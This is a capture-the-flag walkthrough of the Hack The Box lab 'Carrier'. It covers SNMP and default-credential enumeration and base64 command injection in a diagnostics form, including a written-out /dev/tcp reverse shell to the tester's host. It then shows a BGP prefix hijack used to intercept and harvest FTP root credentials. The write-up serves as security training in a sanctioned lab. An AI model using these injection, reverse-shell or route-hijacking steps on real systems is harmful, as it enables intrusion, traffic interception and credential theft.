On average, Carrier is a medium-difficulty Linux box. With this being said, the
user.txt flag is likley a “tricky-but-easy” diffciculty whereas the
root.txt flag is something like moderately-difficult. Carrier provides challengers with an overall unique experience. As mentioned previously, the
user.txt flag is relatively straight forward. Some lazy administration paired with some publicly-accessible information on the web server allows for an initial foothold. The lack of sanitization leads to
root access to the first system. That’s right, there are multiple players in this game. For the
root.txt flag, a BGP hijacking attack must be carried out. This tutorial aims to include the information in itself to explain the basics of the BGP routing protocol as well as to outline the (somehwat unique) path of attack to obtain the
Note: I completed this challenge on January 12th, 2019, however I’m just now writing it up in December 2019. As such, some of the details are sparse.
To begin the enumeration process, a port scan was run against the target using
masscan. The purpose of “this initial scan is to quickly determine which ports are open so that a more focused
nmap scan can be performed that will target only the open ports discovered by
root@kali:~/workspace/hackthebox/Carrier# masscan -e tun0 -p 1-65535 --rate 2000 10.10.10.105 Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2019-12-24 15:19:16 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 80/tcp on 10.10.10.105 Discovered open port 22/tcp on 10.10.10.105 ...
masscan, it was revealed that TCP ports 22(SSH) and 80(HTTP) were listening for connections. Using this information, a second scan was run using
nmap to more thoroughly examine the services listening on the discovered ports.
root@kali:~/workspace/hackthebox/Carrier# nmap -p 80,22 -sC -sV -oA scans/discovered-tcp 10.10.10.105 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-24 08:22 MST Nmap scan report for 10.10.10.105 Host is up (0.058s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA) | 256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA) |_ 256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Login Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.40 seconds
As expected, the service listening on port 22 is SSH and the service listening on port 80 is HTTP.
At this time, an additional
nmap scan was run on 100 UDP ports.
root@kali:~/workspace/hackthebox/Carrier# nmap -sU -sC -sV -top-ports 100 -oA scans/top-100-udp 10.10.10.105 Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-24 09:47 MST Nmap scan report for 10.10.10.105 Host is up (0.058s latency). Not shown: 98 closed ports PORT STATE SERVICE VERSION 67/udp open|filtered dhcps 161/udp open snmp SNMPv1 server; pysnmp SNMPv3 server (public) | snmp-info: | enterprise: pysnmp | engineIDFormat: octets | engineIDData: 77656201e82908 | snmpEngineBoots: 2 |_ snmpEngineTime: 1h34m11s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 223.63 seconds
This scan reveals the SNMP (Simple Network Management Protocol) on UDP port 161.
Starting with TCP port 80, browsing to
http://10.10.10.105 directs the user to a “Lyghtspeed” login portal.
Interestingly enough, the page loads with some errors (
Error 45007 and
Error 45009). The errors are present before interacting with the website in any way. Simple username password combinations were entered into the login form in an attempt to authenticate to the web application, but to no avail.
Continuing on, a
gobuster scan was initiated in hopes of enumerating directories present on the webserver.
root@kali:~/workspace/hackthebox/Carrier# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.105
A variety of directories were discovered by
gobuster shortly after the scan was launched.
/img (Status: 301) /tools (Status: 301) /doc (Status: 301) /css (Status: 301) /js (Status: 301) /fonts (Status: 301) /debug (Status: 301) /server-status (Status: 403)
Enumerating these directories further revealed some interesting information. The
/img directory is where the “Lyghtspeed” logo is stored and the
/tools directory contains a
remote.php file which suggests that the web server runs PHP code. The most interesting directory is
/doc which contains two files;
diagram_for_tac.png is a diagram that represents three routers that appear to belong to three different companies (perhaps ISPs);
Zaza Telecom, and
CastCom. Additionally, the diagram includes autonomous system numbers, or AS numbers for each company. As part of the Border Gateway Protocol (BGP) routing protocol, ASNs are used to uniquely identify each network on the internet.
error_codes.pdf document contains a two column table that provides a description for a variety of error codes, including the error codes
45009 that were found on the Lyghtspeed login page.
From this table,
Error 45007 is due to an invalid or expired license while
Error 45009 reports that system credentials have not been set, and that the default
admin user’s password is that of the chassis serial number.
snmp_login Metasploit module was used to attempt to login to the SNMP service on UDP port 161.
Running the module with
run results in the following output:
msf5 auxiliary(scanner/snmp/snmp_login) > run [!] No active DB -- Credential data will not be saved! [+] 10.10.10.105:161 - Login Successful: public (Access level: read-write); Proof (sysDescr.0): [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
This confirms that the SNMP service on UDP 161 is using the default
public community, and that
read-write permissions are set for the
Further enumerating SNMP with the
snmpwalk tool reveals the following information:
root@kali:~/workspace/hackthebox/Carrier# snmpwalk -v1 -c public 10.10.10.105 iso.188.8.131.52.184.108.40.206.1.1.11 = STRING: "SN#NET_45JDX23" End of MIB
STRING: "SN#NET_45JDX23 output suggets a possible chassis serial number that could be the
admin user’s default password, as previously mentioned in the
Moving focus back to the Lyghtspeed login page, the web application can be successfully authenticated to using the username/password combination of
NET_45JDX23. Once logged in, access to the dashboard, Lyghtspeed ticketing system, and diagnostics panel is granted.
There are a couple of interesting things to note here.
Rx / CastCom. IP Engineering team from one of our upstream ISP called to report a problem with some of their routes being leaked again due to a misconfiguration on our end. Update 2018/06/13: Pb solved: Junior Net Engineer Mike D. was terminated yesterday. Updated: 2018/06/15: CastCom. still reporting issues with 3 networks: 10.120.15, 10.120.16,10.120.17/24's, one of their VIP is having issues connecting by FTP to an important server in the 10.120.15.0/24 network, investigating... Updated 2018/06/16: No prbl. found, suspect they had stuck routes after the leak and cleared them manually.
This content does not seem extremely relevant at the moment, but it could come in handly later. The note suggets that there are some potential network routing issues and that there is an important FTP server in the
10.120.15.0/24 network. The fact that an upstream ISP is reporting that their routes are being “leaked” suggests that the Lyghtspeed ISP may be advertising routes incorrectly through BGP. Recall the diagram mentioned previously that represents three ISPs and their respective ASNs.
Second, clicking the “Verify status” button on the “Diagnostics” page results in the return of some diagnostic information.
The format of this output suggests that a command such as
ps waux is being run on the system when the “Verify status” button is clicked. For comparison purposes, the
ps waux | grep tmux command was run on the attacking system, which results in the following output. Note the similarities to the output in the screenshot above.
root 2371 0.0 0.0 7228 3908 ? Ss 08:12 0:01 tmux new -s VPN root 2591 0.0 0.0 6240 2832 pts/0 S+ 08:19 0:00 tmux new -s HTB root 4418 0.0 0.0 6140 900 pts/3 S+ 11:15 0:00 grep tmux
Knowing this, the request that is made to the server upon clicking “Verify status” was examined using
POST /diag.php HTTP/1.1 Host: 10.10.10.105 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.105/diag.php Content-Type: application/x-www-form-urlencoded Content-Length: 14 Cookie: PHPSESSID=m147p0q8oh062vka2555d27612 Connection: close Upgrade-Insecure-Requests: 1 check=cXVhZ2dh
From this, the
check parameter can be modified to achieve different results. For example, removing the
cXVhZ2dh string from the
check parameter results in no information being returned from the status check. The characters within
cXVhZ2dh are all valid base64-encoded characters. Placing the
cXVhZ2dh value in a local
check.txt file on the attacking machine and utilizing the
base64 tool to decode the content of the file revals the following:
root@kali:~/workspace/hackthebox/Carrier# base64 -d check.txt quagga
“Quagga” is a network routing software suite for Linux that facilitates the implementation and management of routing protocols such as BGP. It appears that the “Verify status” check is passing the value of the
check parameter to a command similar to
ps waux | grep $check, where
$check is a base64 encoded string.
Burp Suite’s “Repeater” functionality was used to test whether there is input sanitzation in place within the PHP code that runs the “Verify status” check. In a request to the webserver, the base64-encoded value
O2xzCg== was passed as the
check parameter. The base64-encoded value corresponds to the UTF-8 string
;ls. This process and the result of the test is shown in the image below.
This confirms that the “Verify status” check is not sanitizing input passed as the
check parameter and that remote code execution is possible because of this flaw. To gain access to the system, the reverse shell command shown below can be used.
;sh -i >& /dev/tcp/10.10.14.17/4444 0>&1
The command above needs to be base64-encoded, which results in the following string:
After starting a listener on the attacking system with
nc -lp 4444 and passing the above value as the
check parameter within a
POST request to the server using
burpsuite, a reverse shell connection from the target system is obtained.
sh shell can be upgraded using the Python shell upgrade technique as explained here.
root user of the remote system, the
user.txt flag can be read.
root@r1:~# cat user.txt 5649c41d<redacted>
Before moving on, it is important to note a few things.
- The hostname of the current system is
root@r1:~# hostname r1
- There is no
root.txtfile on this system.
root@r1:~# find / -name root.txt 2> /dev/null root@r1:~#
authorized_keysfile in the
/root/.sshdirectory contains two public keys; one for
ppacket@carrierand one for
- The machine has three network interfaces (excluding the loopback interface
eth1: 10.78.10.1/24, and
arptable includes IP addresses from all of the networks listed above
root@r1:~# arp Address HWtype HWaddress Flags Mask Iface 10.78.10.2 ether 00:16:3e:5b:49:a9 C eth1 10.78.11.2 ether 00:16:3e:c4:fa:83 C eth2 10.99.64.1 ether fe:61:89:cd:3b:4f C eth0 10.99.64.251 ether 00:16:3e:f3:92:14 C eth0
Moving on, the attacking system’s public SSH key can be copied to the
authorized_keys file on the
r1 system. This allows for access over SSH in a more stable manner than the upgraded Python shell allows for. Remote port forwarding is required for this to work. The steps to access
r1 over SSH are shown below.
- Copy the public SSH key
id_rsa.pubfrom the attacking system to the
- If necessary, start the SSH service on the attacking machine with
service ssh start.
ssh -f -N -R 2222:localhost:22 firstname.lastname@example.org
r1. This command opens up port
2222on the attacking system and forwards the target system’s port
22to the attacking system’s port
2222. Note that
10.10.14.17is the attacking system’s IP in this example.
ssh root@locahost -p 2222to connect to the SSH service on port 22 of
- Enjoy the fully interactive terminal session
With a strong, established foothold on
r1, enumeration eventually led to the discovery of the various
quagga suite configuration files present within the
root@r1:/etc/quagga# ls -lah total 32K drwxrwxr-x 1 quagga quaggavty 186 Jul 2 2018 . drwxr-xr-x 1 root root 3.0K Dec 24 21:34 .. -rw-r----- 1 quagga quagga 410 Dec 24 21:50 bgpd.conf -rw-r----- 1 root root 410 Jul 2 2018 bgpd.conf.orig -rw-r----- 1 quagga quagga 264 Jul 2 2018 bgpd.conf.sav -rw-r----- 1 quagga quagga 992 Jul 1 2018 daemons -rw-r----- 1 quagga quagga 945 Feb 8 2018 debian.conf -rw-r----- 1 quagga quagga 289 Dec 24 21:50 zebra.conf -rw-r----- 1 root root 289 Jul 2 2018 zebra.conf.orig -rw-r----- 1 quagga quagga 326 Jul 2 2018 zebra.conf.sav
Of particular interest is the
Note that the
bgpd.conf file and the
zebra.conf file are where configuration changes made via the
vtysh tool are saved. The
vtysh tool performs similarly to many Cisco operating systems and can be accessed by issuing the
vtysh command on
r1. From here, the
? symbol can be issued either alone or following a valid command for more information on available command options.
bgpd.conf file contains the BGP configuration that’s currently in use on
! ! Zebra configuration saved from vty ! 2018/07/02 02:14:27 ! route-map to-as200 permit 10 route-map to-as300 permit 10 ! router bgp 100 bgp router-id 10.255.255.1 network 10.101.8.0/21 network 10.101.16.0/21 redistribute connected neighbor 10.78.10.2 remote-as 200 neighbor 10.78.11.2 remote-as 300 neighbor 10.78.10.2 route-map to-as200 out neighbor 10.78.11.2 route-map to-as300 out ! line vty !
The lines beginning with
route-map can more-or-less be ignored in this case, as they are set to
permit and are not accompanied by any
match commands which would provide potential route advertisement filtering. The
router bgp 100 command creates the BGP process on the system where
100 is the ASN. Recall the ISP diagram discovered previously, where
Lyghtspeed Networks is illustrated using AS100,
Zaza Telecom using AS200, and
CastCom using AS300.
router bgp 100 configuration, the
router-id is set which isn’t important in this context. The two
network commands following configure the
router bgp 100 process to advertise routes for the networks
10.101.16.0/21 to any BGP neighbors. This is to say that
r1 will advertise to its two neighbors that traffic destined to the
10.101.8.0/21 subnet and the
10.101.16.0/21 should be forwarded to
r1 for further routing. In other words
r1 is advertising that it knows how to route traffic destined to the two subnets configured within the two
redistribute connected command means that routes that are listed as connected in the route table of
r1 will be redistrubuted to (included in) the BGP process. This detail isn’t very important in tihs case.
The first two
neighbor commands define BGP peers for the
router bgp 100 process. The first
neighbor command defines
10.78.10.2 as a BGP neighbor that is using AS200 (
Zaza Telecom) and the second
neighbor command defines
10.78.11.2 as a BGP neighbor that is using AS300 (
CastCom). Reflecting back on the output of the
arp command run on
r1 confirms that
Zaza Telecom is out the
eth1 interface of
r1 and that
CastCom is out the
eth2 interface of
10.78.10.2 ether 00:16:3e:5b:49:a9 C eth1 10.78.11.2 ether 00:16:3e:c4:fa:83 C eth2
The next two
neighbor commands are not important, as they’re simply applying the route maps configured with the
route-map commands that don’t match any access lists.
To summarize the BGP configuration defined within the
- AS100 is in use by
r1, as defined by the
router bgp 100command
r1is peering with (i.e. sending routes to and receiving routes from) two BGP neighbors;
r1is advertising that traffic destined for the
10.101.16.0/21subnet, and its directly connected subnets should be sent to
r1, as defined by the
networkcommands and the
Recall the note found on the “Tickets” page of the web application that mentions the FTP server in the
10.120.15.0/24 network. Examining the route table on
r1 shows that the
10.120.15.0/24 network (where the FTP server is) is accessible via the
10.78.11.2 BGP neighbor (AS300,
CastCom). This route is in the routing table of
r1 as a route learned through BGP. In other words, the
10.78.11.2 neighbor that uses AS300 is advertising to its BGP peers (
r1 being one of them) a route for the
The output below (the result of running
show ip route bgp after running the
vtysh tool on
r1) shows a portion of the routes learned through BGP on
r1# show ip route bgp Codes: K - kernel route, C - connected, S - static, R - RIP, O - OSPF, I - IS-IS, B - BGP, P - PIM, A - Babel, > - selected route, * - FIB route B>* 10.100.10.0/24 [20/0] via 10.78.10.2, eth1, 00:09:28 ... B>* 10.100.20.0/24 [20/0] via 10.78.10.2, eth1, 00:09:28 B>* 10.120.10.0/24 [20/0] via 10.78.11.2, eth2, 00:09:26 ... B>* 10.120.15.0/24 [20/0] via 10.78.11.2, eth2, 00:09:26 ... B>* 10.120.20.0/24 [20/0] via 10.78.11.2, eth2, 00:09:26
From the perspective of
r1, the line
B>* 10.120.15.0/24 [20/0] via 10.78.11.2, eth2, 00:09:26 from the route table above can be read as: “Traffic with a destination IP address of
10.120.15.254 should be sent to
10.78.11.2 which is connected to the
The route table for the
Zaza Telecom router would have a similar entry that would route traffic destined for
10.120.15.0/24 through the
CastCom router, as the
CastCom BGP neighbor is advertising to its neighbors (
Lyghtspeed Networks and
Zaza Telecom) that all traffic destined to the 254 usable IP addresses in the FTP server’s
10.120.15.0/24 network should be routed through it.
A BGP hijacking attack can be unfurled so that all traffic destined for the
10.120.15.0/24 network is instead routed to
Lyghtspeed Networks. As part of the BGP protocol, if two overlapping routes are advertised by two different AS numbers (i.e. BGP neighbors) and no AS path prepending is in place, then the more specific route will be accepted into the receiver’s route table.
For example, imagine the FTP server has an IP address of
10.120.15.0/24 network includes IP addresses in the range
10.120.15.254, therefore the
10.120.15.0/24 subnet includes the FTP server. Continuing with the example, the
10.120.15.0/25 network includes IP addresses in the range
10.120.15.127. This means that the
10.120.15.0/25 subnet also includes the FTP server, but more specifically than the
By reconfiguring the
router bgp 100 process on
r1 to advertise a more specific route to its BGP neighbors (particularly to the
Zaza Telecom neighbor), the “VIP” traffic destined for the FTP server in the
10.120.15.0/24 network will be routed to
r1 instead of to the
CastCom router. The following
network command was added to the
router bgp 100 process on
r1 to achieve this goal.
Running the commands shown below result in BGP hijacking.
root@r1:~# vtysh Hello, this is Quagga (version 0.99.24.1). Copyright 1996-2005 Kunihiro Ishiguro, et al. r1# conf t r1(config)# router bgp 100 r1(config-router)# network 10.120.15.0/25 r1(config-router)# network 10.120.15.128/25 r1(config-router)# end r1# write mem Building Configuration... Configuration saved to /etc/quagga/zebra.conf Configuration saved to /etc/quagga/bgpd.conf [OK] r1#
From this position, the
tcpdump tool can be used on
r1 to capture FTP traffic on port 21. The command will write received traffic to the file called
root@r1:~# tcpdump -A -i any port 21 -vv -w ftp.dump
Once FTP traffic was written to the
ftp.dump file, the file was transferred to the attacking system to be examined with
wireshark ftp.dump command shows that the IP address of the FTP server is
Next, a new loopback interface,
lo:1, was configured on
r1 using the IP address of the FTP server. This interface will be used as a dummy FTP server for the FTP client.
root@r1:~# ifconfig lo:1 10.120.15.10/25
Additionally, a static route was added that would route traffic destined for
10.120.15.10 to the
root@r1:~# ip route add 10.120.15.10/32 via 0.0.0.0 dev lo:1
nc listener was set up that will listen for incoming connections on TCP port 21.
root@r1:~# nc -l 10.120.15.10 21
Eventually, a connection is received. By mimicking the return codes of an FTP server, the following exchange was made with the FTP client. The lines ending with the
* characters mark the mimicked FTP server codes that were manually sent in response to the client’s requests.
USER root 331 User name okay, need password.* PASS BGPtelc0rout1ng 227 Entering Passive Mode. (10,120,15,10,8,75).* STOR secretdata.txt 150 File status okay; about to open data connection.* 226 Closing data connection. Requested file action successful (for example, file transfer or file abort).* QUIT
Only the return code numbers need to be sent for the interaction to take place, but the text offers an explanation for the return code. Note that the
227 Entering Passive Mode return code specifies an IP address and port for data transfer in the form of (h1,h2,h3,h4,p1,p2). The value in the code above correlates to
10.120.15.10:2123. In order for the data transfer to successed, an additional
nc listener needs to be set up on port 2123 before the
227 code sent to the client. This process is shown below.
root@r1:~# nc -lvp 2123 nc -lvp 2123 Listening on [0.0.0.0] (family 0, port 2123) Connection from [10.78.10.2] port 2123 [tcp/*] accepted (family 2, sport 52968) 56484a766247786c5a43456849513d3d
secretdata.txt file contains the value shown below, and seems irrelevant.
Using the username
root and the password
BGPtelc0rout1ng as received from the FTP server/client exchange allows for SSH access to the
10.120.15.10 server once the original routing for the
10.120.15.0/24 network is restored.
To restore the original routing, issue the commands below on
ifconfig lo:1 127.0.0.2
ip route del 10.120.15.10 dev lo
ip route add 10.120.15.0/24 via 10.78.11.2 dev eth2
After the SSH connection to
carrier) is made, the
root.txt flag can be read.
root@carrier:~# cat root.txt 2832e552<redacted>